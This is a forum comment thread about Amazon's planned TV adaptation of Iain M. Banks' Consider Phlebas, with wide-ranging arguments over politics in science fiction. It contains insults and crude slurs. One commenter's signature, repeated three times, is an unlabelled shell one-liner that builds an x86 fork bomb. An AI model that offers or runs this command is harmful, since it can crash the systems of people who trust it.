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Amazon Is Developing a TV Series Based On Iain M. Banks' Sci-Fi Novel 'Consider Phlebas' (hollywoodreporter.com)
leathered writes: Jeff Bezos today announced that Amazon Studios has picked up the rights to adapt the late Iain M. Bank's acclaimed Culture novels to the small screen, beginning with the first in the series, Consider Phlebas. This comes after nearly three decades of attempts to bring Banks' utopian, post-scarcity society to film or television. A huge fan of the Culture series is Elon Musk, whose SpaceX drone ships are named after Culture space vessels. Here's how Amazon describes Consider Phlebas: "a kinetic, action-packed adventure on a huge canvas. The book draws upon the extraordinary world and mythology Banks created in the Culture, in which a highly advanced and progressive society ends up at war with the Idirans, a deeply religious, warlike race intent on dominating the entire galaxy. The story centers on Horza, a rogue agent tasked by the Idirans with the impossible mission of recovering a missing Culture 'Mind,' an artificial intelligence many thousands of times smarter than any human -- something that could hold the key to wiping out the Culture altogether. What unfolds, with Banks' trademark irreverent humor, ultimately asks the poignant question of how we can use technology to preserve our humanity, not surrender it."
Fantastic dream however :-)
I've read and re-read all of Banks' "Culture" books. It's one of the few where you get to know extremely powerful AIs as characters. They play a real role in the books, sometimes even more so than the meatbags.
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Like they've massacred Starship Troopers.
Yes, Iain M Banks believed in social justice. I doubt his books or this series will be your cup of tea. Plus, he occasionally uses multi-syllabic words.
Social justice is pretty much baked into the entire sci-fi genre, so you might want to try something more to your liking, such as interracial cuck porn.
You are welcome on my lawn.
We have enough politics in everyday life without yet another tv show being a thinly veiled metaphor for America's current political system. I'm looking at you Star Trek, who's producers recently said Klingons are a metaphor for trump supporters http://ew.com/tv/2017/09/07/st...
my karma will be here long after I'm gone
Whenever there is a shitty post, spewing progressive ideology while also being racist, you can virtually guarantee it was written by PopeRatzo. You never fail to be insufferable.
Amazon is also develop a series about a dystopian future society in which humans are put to work at break-neck speed with no medical care, and devices which admonish them if they diverge from the tasks assigned to them.
Oh wait, did I say "series" and "future society"? I meant "business practice" and "current society".
I re-read Consider Phlebas quite recently, and it shows its age. Sure, it's still a fun space-opera style romp with some nicely imagined scenarios, but the main characters are all a bit 80s action movie. I actually think it would work much better staying true to the era than trying to update it to be a thoughtful subtle modern drama.
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Well, I've read plenty of military fiction that will sufficiently stupid for the GP. I specifically recommend Out of the Dark by David Weber, because it combines military fiction with vampire novels.
Yes, Iain M Banks believed in social justice.
Weird, I can't seem to remember any passages in the novels in which the human characters tell the spaceships to "check their privilege". Could you quote one for me?
Yeah. I rather miss the leaden dialogue, and clunky exposition from that novel.
...so you might want to try something more to your liking, such as interracial cuck porn.
If there's one thing the lunatic left is consistently good at, it's projecting.
Will they depict the warmongering religious nutjobs to be the typical US-bred terrorist groups (for ab American audience) or the USA itself (for an international audience)?
Cause realistically, it's gotta be both.
Also, dear Americans: Still using the term "race" with a straight face, nearly a century after the scientific community rejected racism as unscientific, and over 70 years after even Germany was forced to give it up, is exactly why we think things like the above about you. "No offense." :P
In the eyes of the alt-right idiots, anybody who does not violently oppose compassionate behaviour is considered a "leftist SJW libtard".
There are similar idiots on the left, but they are still mostly kept safely locked away in their echo chamber media.
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
Heh. Fully automated luxury communuism made real.
I had a dream, bright and carefree, but now there's doubt and gravity
Depends what you mean by 'social justice' really. Heinlein was a libertarian who believed in free love and equality between both genders and all races. On the other hand the left said the book was crypto fascist because the society in Starship Troopers is a stratocracy where only veterans can vote. It's not even clear if Heinlein actually thinks that stratocracy is a good thing, or if it's more like something humanity got forced into.
Orson Scott Card's Ender's Game and sequels seems in some ways to be a critique of Starship Troopers - the eponymous hero wipes out the bugs without knowing he was doing it and then spends the rest of series trying to atone for it. On the other hand Orson Scott Card opposed gay marriage and is religious so the left said the book was in part a justification of Western expansion and genocide
If you actually read the books it's clear that the human/Formic war which resulted in near xenocide of the Formics was a caused by a couple of unfortunate misunderstandings on both sides - neither the humans nor the other side was even an entity which could be communicated with.
http://enderverse.wikia.com/wi...
The writing of the short novel The Hive Queen showed that the Formics, once they realized that humans were sentient, deeply regretted their actions in the First and Second Formic Wars and decided not to send another colonization fleet to Earth. Their inability to communicate with the humans led to their utter destruction in the Third Invasion. This simple book slowly began to change public opinion, as they began to see the Formics as tragic creatures and see Ender Wiggin as a heinous mass-murderer, the Xenocide.
As Napoleon said with a wry chuckle on his return from Moscow. "The best-laid schemes o' mice an' men / Gang aft agley"
The Culture is a post scarcity, post capitalist society. The problem is that post capitalist societies are much more likely to end up with a whole lot of scarcity. Still the books are worth reading - they're not just dry ideological lectures. E.g. look at Excession
It's ambiguous whether the ITG was right to intervene in the Affront's culture. Certainly the Excession seems to regard both The Culture and The Affront as being insufficiently enlightened to be worth contacting. And consider this
http://theculture.wikia.com/wi...
Genar-Hofoen returns to the Affront, having been rewarded by being physically transformed into a member of the Affront species (whose company he finds more stimulating than that of the Culture's people).
The Affront seemed pretty loathsome to me
http://theculture.wikia.com/wi...
Affront society is described as being "a never-ending, self-perpetuating holocaust of pain and misery", where the strong prey upon weaker species and individuals. Among the Affront's technological accomplishments is an aptitude for genetic engineering, which they developed long before spaceflight. They use this skill almost exclusively on 'prey species', which tend to be changed so as to provide greater sport (and opportunity for sadism) during the communal hunts forming a major part of the Affront culture. Some examples of these changes include altering game animals to experience heightened levels of fear when recognizing the silhouette of an Affronter, or altering beasts of burden to panic when their masters are excited and thus induce them to pull vehicles faster. One of the few changes to their own species was the redesign of their females to make sex painful for them, a choice exemplary of the reasons they are considered abhorrent by the Culture. "Progress through Pain" i
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The SJW have poisoned the term to a point where it is actually more the opposite of social justice than anything. They are exactly the same as tht which they claim to despise. Bullies and morons. Just with the opposite polarity. Like polarity matters when you get an electric shock...
Like everything discussed between Americans, as always, it is reduced to rigid one-dimensional binary extremes of complete and utter galopping Lovecraftian insanity.
Both of your sides are completely retarded asshole horseshit.
SJWs and whatever OP is supposed to be. (neocon?)
And you both attack completely fucked-up distorted caricature strawmen of each other.
Get back to sanity! And reality! Both of you!!
Movies were way more fun in the 80s.
If by "alt right" you mean the literal white supremacists who adopted that label, then you might be right, if hyperbolic. Even they are capable of some compassion.
If by "alt right" you mean the huge number of people who adopted that term as a rejection of both the far left and far right, then you're just an idiot.
There are similar idiots on the left, but they are still mostly kept safely locked away in their echo chamber media.
Far from it; the far left has influenced and implemented all sort of policies in both private enterprise and government policy, and their rhetoric permeates the public sphere. They are currently much more dangerous than the far right.
...as a direct counterpoint to the yeehaw right wing militaristic garbage spewed out by most American SF writers.
He particularly disliked US libertarians.
The man was a genius.
Best. SF. Author. Ever.
What is the Trade Surplus? Is there any Profit Margin in this?
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
Starship Troopers the film is a parody of Starship Troopers the book. This is something people who like the book tend to ignore.
I like both myself. However they're telling different and in many ways opposite stories. In the book civilisation collapsed and rebooted and you ended up with a stratocracy which is actually pretty functional and probably the only way humans can survive. Democracy ended in anarchy and the universe is filled with hostile aliens.
In the film civilisation collapsed and you ended up with stratocracy which is very nasty - expansionist, Orwellian and not really militarily competent. The Federation's attack on Klendathu is clearly meant to analogous to the Nazis' hubristic and ultimately disastrous attack on the Soviet Union. It even implies that the story that the bugs started the war might not even be true - we know the bugs don't have interstellar travel and are on the other side of the galaxy so how could they have attacked Earth with a meteor? Do we really need to destroy them? Is the best way to do that by landing infantry with no armour and no airpower?
For what it's worth I think a stratocracy would lead to something really nasty - a sort of modern Sparta where the non citizens would be Helots. But who knows? Science fiction requires that you either suspend disbelief a little bit and accept that the premise produces the society depicted, or put the book down. Similarly once you realise that the film is structured so that you root for humans and later find out they're the bad guys - even though that doesn't make the bugs exactly 'good' - it's actually pretty enjoyable. There aren't that many action films that do that.
And actually satirical adaptations that invert the meaning of the source material aren't a bad thing. The book's society is a critique of what Heinlein saw 60's America turning into, and it's a good one. The film is critique of the idea that stratocracies would not end up as Sparta 2.0. You can like both.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Social justice is pretty much baked into the entire sci-fi genre
That doesn't really compute. There's no reason for that.
Ezekiel 23:20
I know you are, but what am I?
> The Culture is a post scarcity, post capitalist society. The problem is that post capitalist societies are much more likely to end up with a whole lot of scarcity.
That is an extreme simplification. And I have no idea how you define post-capitalist to come to the latter conclusion. But in the Culture series it is not that anyone can just get whatever they want (except basic things like food), they generally have to earn it.
It is post-capitalist only in so far as you don't earn and pay with money to get access to resources.
In many ways, that makes it simply an evolution of what we have now: There is no point in "physical" proof of value (aka money) if there is always plenty of information available about anyone you deal with. There is also no need to ensure (advance) "payment" if you can easily afford to just trust people.
Good to see the an alt-right willing to meet in the ever-so-slightly-to-the-left-of-the-extreme-right.
Some of my best friends are civic nationalists.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You are correct, but it is not for any lack of trying. That whole big "Sad Puppies" brouhaha that kicks up every year around the Hugo Awards is exactly about the attempt to turn science fiction into "message fiction" by refusing recognition to non-SJW writing in the genre. That said, it's nothing new. Marion Zimmer Bradley pioneered the field back in the 20th century with her "Oppressed Lesbian Telepaths of Darkover" books. But unlike her counterparts today, she was happy to coexist with others of a different world view.
Are you referring to CNN or MSNBC?
Heinlein was into social justice?
Avantgarde Hebrew science fiction
Orson Scott Card's Ender's Game and sequels seems in some ways to be a critique of Starship Troopers
I have a vague recollection that "The Forever War" by Joe Haldeman was the response to Starship Troopers.
I am Slashdot. Are you Slashdot as well?
Social justice is pretty much baked into the entire sci-fi genre
That doesn't really compute. There's no reason for that.
I guess if you're wanting to see everything through an SJW lens, I guess everything will have an SJW slant. Personally, I see most sci-fi as falling into the "moving towards or utopia under fire" or the "falling into or fighting against" dystopian genres. On the utopian side, you'll have equality and justice, by definition. Not social justice, because there's no need for it. On the dystopian side obviously there can be SJW superiority, because dystopian outcomes are where SJWs are headed.
The cesspool just got a check and balance.
Depends what you mean by 'social justice' really. Heinlein was a libertarian who believed in free love and equality between both genders and all races.
Heinlein actually despised the idea (except for him getting as much nookie as he wanted), and ended up coming up with inane contortions that basically had him masturbating over his nigh-immortal mother in one of his last books.
You obviously didn't know him very well.
On the other hand the left said the book was crypto fascist because the society in Starship Troopers is a stratocracy where only veterans can vote. It's not even clear if Heinlein actually thinks that stratocracy is a good thing, or if it's more like something humanity got forced into.
Heinlein is dead. So it would be thought, not thinks. The Neo-Fascists who are slavishly in love with everything they can regurgitate of Starship Troopers and who were fervently disappointed with Verhoeven's blatantly satirical version, however, remain alive and whining.
Orson Scott Card's Ender's Game and sequels seems in some ways to be a critique of Starship Troopers - the eponymous hero wipes out the bugs without knowing he was doing it and then spends the rest of series trying to atone for it. On the other hand Orson Scott Card opposed gay marriage and is religious so the left said the book was in part a justification of Western expansion and genocide
If you actually read the books it's clear that the human/Formic war which resulted in near xenocide of the Formics was a caused by a couple of unfortunate misunderstandings on both sides - neither the humans nor the other side was even an entity which could be communicated with.
http://enderverse.wikia.com/wi...
Actually, you got it wrong, the problem was that they could have communicated, making it all the more tragic. However, the actual opposition to Orson Scott Card is based on his personal acts and mannerisms, including attempts to force his discriminatory and oppressive views upon the public, not this book in particular. Though he does have others where they come out far more blatantly, and of course, there's plenty of people who despise the blatant cash-grab of the Shadow novels.
BTW, none of your allegations actually related to the content of the Wikipedia page which you linked, and it hasn't even been edited since 13 Feb 2018 at this point, so you can't even be forgiven for being undermined by a revision. Obviously you don't want to make much of an effort to understand people's actual criticisms and concerns.
Social justice is pretty much baked into the entire sci-fi genre,
Yeah, I remember how all the classic scifi novels are full of affirmative action and stuff. Good times!
"Progressive"? Uh-oh... Something tells me, the adaptation will lose the book's subtlety and end up being a story of enlightened Democrats fighting the evil RethugliKKKan war-mongers. Despite "Culture" being, if anything, a Libertarian society.
Bezos, though, may have a better motive than petty politics — the entire "Culture" series describes, how AI, despite displacing (a.k.a. "destroying jobs" of) 99.9% of human workers, has significantly improved lives for everyone (even if, as Idirans point out, turning people into something more of a pet). It may help blunt the hyped and pumped backlash against AI-development, an unfortunate turn of events of non-trivial significance to Amazon.
In Soviet Washington the swamp drains you.
> " One of the few changes to their own species was the redesign of their females to make sex painful for them, a choice exemplary of the reasons they are considered abhorrent by the Culture". Which human culture, often defended by the left, does that remind you of?
None
Starship Troopers the film is a parody of Starship Troopers the book. This is something people who like the book tend to ignore.
I'm perfectly aware that Starship Troopers the film is *advertised* as a parody of Starship Troopers the book. The case that it actually *is* a parody would be stronger if the director had read the book. Or if it weren't an unrelated script ("Bug Hunt at Outpost Nine") that received a new title and a few renamed characters when the studio got the rights from Heinlein's estate.
I'm sure part of the reason was that reddit/r/printsf is so enraptured with the Culture series and call it "uplifting". Just couldn't stomach it.
Wow...Elon Musk is probably stoked (and jealous as hell) since he loves the Culture novels as well. This series is going to take a TON of money to do that book right. Phlebas is a difficult first novel for the series, mainly because it takes the perspective from outside the culture where the rest of the novels (mostly) take it from the culture's "special circumstances" black ops group. It will be interesting to see how they adapt it.
Much science fiction takes place in the future. One of the main things people look forward to in the future are the fruits of technological advances. However, every single person without exception (even you, even .. Trump!!) looks at the current world and sees something wrong, somewhere, non-technological that they think isn't quite right. Any person imagining the future is going to likely have some thoughts about whatever their peeve is. They might speculate things have gotten even worse, or they might speculate that people have attempted to correct the problem.
For some people, justice is a motivator and injustices will be one of their peeves, so they might address it (one way or another) in their vision of the future. And by some people, I mean most people, especially Americans. After all, isn't religion pretty much the fantasy that all injustices in life (including the worst injustice at all: that you die) get corrected? In particular, Democrats and Republicans (about 95% of American voters according to the 2016 election) are obsessed with justice. They just have different opinions about what it is.
Anyway, that's the why. Go look at some sci-fi and spot it. Just keep in mind that sometimes justice will be addressed as things getting worse, often as the author's worries about whatever trends they're noticing. For an example, watch the greatest film of all time (which just happens to be a bit sci-fi-ish): Robocop (1987).
Not sure about that, but I heard NBC was making a sit-com about the Trump Regime. I'm pretty sure they're going to use the Russian national anthem for the opening theme song and playing Queen's "Another One Bites the Dust" over the closing credits.
Oughtta be hilarious.
The targeted meteor strike theory is a stretch indeed but bugs do have interstellar "dissemination" via meteors. The humans expanding to the stars ran into bug planets, thats how the war got started in the first place. The question is, how did bugs ally with skinnies? Did skinnies approach bugs, or did a meteor with bugs land on skinnies planet? Does brain bug possess interstellar telepathy range?
Exactly. The director did not read the book. He / the studio was however happy to rip-off Heinlein's name, by stealing the S.T. name. That fact says much more about the director, and the studio and their lack of honesty.
To me, Starship Troopers came across as "thought experiment" in a pragmatic way of dealing with basic economics. Humans value things that cost them something.
Having a bunch of people who have zero "skin in the game" choose policies; which may ultimately end up in conflict has some real issues. I can't help but wonder how many fewer wars would have been fought if the people choosing to go to war were the first ones on the front lines.
Violence IS the ultimate authority. I am not saying this is good, or that is a good idea, far from it, but it is undeniable that people who are dead are unable to resist.
which a highly advanced and progressive society ends up at war with the Idirans, a deeply religious, warlike race intent on dominating the entire galaxy
just make sure it doesn't look anything like, say America fighting radical Islam, right guys, because that'd be totally unacceptable to modern standards of social indoctrination...
Saying that, its going to look like Americans fighting extremist Islam isn't it.
it's possible that both are.
Marion Zimmer Bradley pioneered the field back in the 20th century with her "Oppressed Lesbian Telepaths of Darkover" books. But unlike her counterparts today, she was happy to coexist with others of a different world view.
I preferred sci-fi over her fantasy stuff, and found her long-winded and boring. There just wasn't a story there that I cared enough about to continue reading yet another descriptive paragraph about something that had little to do with anything. Some people seemed to like her at the time, much like in the recent past Tom Clancy was a popular writer, and suffers from similar short-comings based on long ago impressions.
The cesspool just got a check and balance.
Then you should research "genital mutilation" and become a bit more aware of the medieval shit that still goes on in the world.
But in the Culture series it is not that anyone can just get whatever they want (except basic things like food), they generally have to earn it.
I don't remember that. Can you cite some examples?
Social justice is pretty much baked into the entire sci-fi genre,
Yeah, I remember how all the classic scifi novels are full of affirmative action and stuff. Good times!
When is that freakin' Lensman film coming out?
I don't violently oppose compassionate behavior, I just won't pay tax dollars to do it.
One of the interesting things about the book is an objective and agreed-on morality. At one point in History and Moral Philosophy, Juan Rico is told to prove a moral issue using symbolic logic. A lot of conflict in the real world is about differences in ethical systems, with many people thinking they've got the only reasonable one.
The difference between Heinlein's government and Sparta's is that, in Heinlein's, a resident can sign up for service at any time, and leave the Helot class. That's pretty much how Heinlein describes things as working: if you live in that society and want to change things, you can spend the effort to become part of the ruling class (it's made clear that you have to be accepted for service if you apply, and that you can't be kicked out just because you're absolutely worthless). That, according to the story, keeps a stable government that works.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
Hard time remembering details, but 2 examples that come to mind:
In just this one, being transformed into an Affront body was a "reward", so it wasn't just available
In another one, there was the story of a woman who worked hard to be accepted into the Contact division.
Among the AIs, there is also frequent things about weapon systems and access/permission to keep them.
It's subtle since it's not the things we might be working for today, but still not everyone can just get whatever they want, especially not without consequences.